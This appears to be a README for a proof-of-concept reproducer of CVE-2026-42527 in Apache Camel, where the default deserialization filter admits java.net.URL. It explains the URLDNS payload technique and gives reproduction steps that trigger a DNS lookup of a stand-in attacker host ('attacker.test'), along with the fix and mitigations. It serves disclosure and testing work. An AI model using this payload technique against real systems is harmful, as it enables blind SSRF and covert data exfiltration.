## https://sploitus.com/exploit?id=B1CB42E4-A32C-5689-AD02-E709D96D7AAE
# Permissive Default ObjectInputFilter โ DNS Side-Channel Reproducer (CVE-2026-42527)
This project demonstrates **CVE-2026-42527** in Apache Camel. The default `ObjectInputFilter` pattern that
several Camel components ship for defense-in-depth deserialization filtering โ
`java.**;javax.**;org.apache.camel.**;!*` โ uses a recursive `java.**` glob that **admits `java.net.URL`**.
`java.net.URL.hashCode()` performs a DNS resolution of the URL's host, so deserializing a `HashMap` (or any
collection that hashes its elements) containing a `java.net.URL` key causes the JVM to issue a **DNS query to
an attacker-supplied host** during deserialization. The class-level filter check passes (the resulting object
is a `HashMap`, which is allow-listed), so nothing stops it โ an **out-of-band information-disclosure side
channel** (not RCE).
Advisory: https://camel.apache.org/security/CVE-2026-42527.html
## Vulnerability Summary
| Property | Value |
|----------|-------|
| **Components** | `camel-jms`, `camel-sjms`, `camel-amqp`, `camel-mina`, `camel-netty`, `camel-netty-http`, `camel-vertx-http`, `camel-infinispan`, and aggregation repos (`camel-leveldb`, `camel-cassandraql`, `camel-consul`, `camel-sql`) |
| **Defect** | Default filter `java.**;javax.**;org.apache.camel.**;!*` admits `java.net.URL` / `java.net.InetAddress` |
| **CWE** | CWE-502 (unsafe deserialization) leading to out-of-band info disclosure / blind SSRF via DNS |
| **Impact** | Attacker-observable DNS queries during deserialization (data exfiltration side channel) |
| **Affected Versions** | 4.14.0โ4.14.7, 4.18.0โ4.18.2, 4.20.0 |
| **Fixed Versions** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23372 |
| **Reporters** | Venkatraman Kumar (Securin) and Yu Bao (PayPal) |
> This defect was introduced by the deserialization-hardening series (CAMEL-23297/23319/23321/23322/23324),
> which added the too-permissive default filter. CVE-2026-42527 tightens it.
## Technical Details
This PoC uses **camel-mina 4.18.2**, where `MinaConverter.toObjectInput` installs the default filter directly
on the `ObjectInputStream`, so the filter is the gating control (a clean affected-vs-fixed contrast):
```java
// MinaConverter.toObjectInput(IoBuffer) - affected 4.18.2
static final String DEFAULT_DESERIALIZATION_FILTER = "java.**;javax.**;org.apache.camel.**;!*";
...
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter jvmFilter = ObjectInputFilter.Config.getSerialFilter();
ois.setObjectInputFilter(jvmFilter != null
? jvmFilter
: ObjectInputFilter.Config.createFilter(DEFAULT_DESERIALIZATION_FILTER));
```
The `java.**` glob admits `java.net.URL`. On deserialization of a `HashMap`, `HashMap.readObject()`
re-inserts the entry and computes `hash(key)` โ `URL.hashCode()` โ `InetAddress.getByName(host)` โ **a DNS
query to the attacker's host**. The 4.18.3 / 4.21.0 fix prepends a deny:
```java
// fixed
static final String DEFAULT_DESERIALIZATION_FILTER = "!java.net.**;java.**;javax.**;org.apache.camel.**;!*";
```
Now `java.net.URL` is rejected during deserialization (`InvalidClassException: filter status: REJECTED`) before
`hashCode()` ever runs โ no DNS query.
> **Highest real exposure is the camel-jms family**, where `JmsBinding.extractBodyFromJms` calls
> `ObjectMessage.getObject()` unconditionally when `mapJmsMessage=true` (the default). This PoC uses camel-mina
> because it is self-contained (no broker) and the filter sits directly on the stream.
## The victim route
```java
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput (default filter)
Object obj = oi.readObject(); // HashMap.readObject -> URL.hashCode() -> DNS
});
```
## How the proof works (no external DNS server)
`java.net.URL.hashCode()` resolves the host through the JVM's resolver. To observe that lookup deterministically
and offline, the app registers a custom **`java.net.spi.InetAddressResolverProvider`** (JDK 18+, JEP 418) that
records any hostname containing the attacker marker and answers it with a loopback stub. Seeing the attacker
host reach the resolver *is* the out-of-band side channel firing.
The payload is built with the classic **ysoserial URLDNS** trick: the URL's cached `hashCode` field is
pre-seeded so inserting it into the map on the builder side does **not** resolve the host, then reset to `-1`
so the lookup happens only when the victim deserializes. (`--add-opens java.base/java.net` is needed for that
reflection โ a payload-construction detail, unrelated to the vulnerability.)
```
CVE-2026-42527/
โโโ pom.xml # camel-mina 4.18.2 (permissive default filter)
โโโ Dockerfile # runs the app (--add-opens java.base/java.net for payload build)
โโโ docker-compose.yml
โโโ README.md
โโโ src/main/
โโโ java/com/example/
โ โโโ Application.java
โ โโโ MinaObjectRoute.java # victim: mina consumer -> ObjectInput.readObject()
โ โโโ PayloadFactory.java # HashMap URLDNS payload (no builder-side DNS)
โ โโโ ExfilResolverProvider.java # stub DNS server (InetAddressResolverProvider) that records lookups
โ โโโ ExfilLog.java
โ โโโ ExploitController.java # /exploit/inject: sends payload over TCP, checks for the DNS lookup
โโโ resources/
โโโ application.properties
โโโ META-INF/services/java.net.spi.InetAddressResolverProvider
```
## Prerequisites
- Java 17+ and Maven 3.8+ (JDK 21 to build โ the proof uses the JDK 18+ resolver SPI)
- Docker (runs the reproducer)
## Reproduction Steps
### Step 1: Build and start the container
```bash
mvn clean package -DskipTests
docker compose up -d --build
```
### Step 2: Trigger the deserialization (DNS side channel)
```bash
curl -s http://localhost:8080/exploit/inject
# -> Sent HashMap payload to mina:tcp://127.0.0.1:5555
# URL key host: dns-exfil-proof.cve-2026-42527.attacker.test
#
# >>> DNS side-channel proof โ resolver saw a lookup for the attacker host: true
# observed lookups: [dns-exfil-proof.cve-2026-42527.attacker.test]
```
`true` means the deserialization of the attacker's `HashMap` resolved the attacker host โ an
attacker-controlled DNS server would see that query.
### Step 3 (optional): Show the fix / mitigation blocks it
Run with a hardened JVM-wide filter (which `toObjectInput` honors, and which mirrors the 4.18.3 fix):
```bash
mvn clean package -DskipTests
java --add-opens java.base/java.net=ALL-UNNAMED \
-Djdk.serialFilter='!java.net.**;java.**;javax.**;org.apache.camel.**;!*' \
-jar target/cve-2026-42527-deserialization-filter-0.0.1-SNAPSHOT.jar
# then: curl -s http://localhost:8080/exploit/inject
# -> ... resolver saw a lookup for the attacker host: false
# (the route log shows InvalidClassException: filter status: REJECTED)
```
### Cleanup
```bash
docker compose down
```
## Attack Vectors
Any affected Camel consumer that deserializes attacker-controlled bytes under the default filter โ most notably
a camel-jms/sjms/amqp consumer with `mapJmsMessage=true`, or the mina/netty/vertx-http/infinispan and
aggregation-repository components โ where the attacker can deliver a `HashMap` (or any hashing collection
of `java.net.URL`).
## Exploit Conditions
1. An affected Camel component deserializing attacker-controlled bytes under the **default** filter (no explicit
`deserializationFilter` / `-Djdk.serialFilter` override, and no provider-side allow-list).
2. The attacker can place a `java.net.URL` inside a hashing collection in the payload. **No gadget library is
required** โ only stock JDK classes.
## Recommended Fix
Upgrade to **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23372), which changes the default filter to deny `java.net.**`.
## Mitigation
Until upgrading:
1. Configure the **JMS provider's** deserialization allow/deny list (ActiveMQ Artemis
`deserializationAllowList`/`deserializationDenyList`, ActiveMQ Classic `org.apache.activemq.SERIALIZABLE_PACKAGES`).
2. Override the in-code default via the endpoint `deserializationFilter` option or the JVM-wide
`-Djdk.serialFilter` with an explicit deny:
`!java.net.**;java.**;javax.**;org.apache.camel.**;!*`
(or `!java.net.**;java.**;org.apache.camel.**;!*` for the aggregation-repository components, which omit
`javax.**`).
## Disclaimer
This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed
and fixed** vulnerability. Do not use it against systems without explicit permission.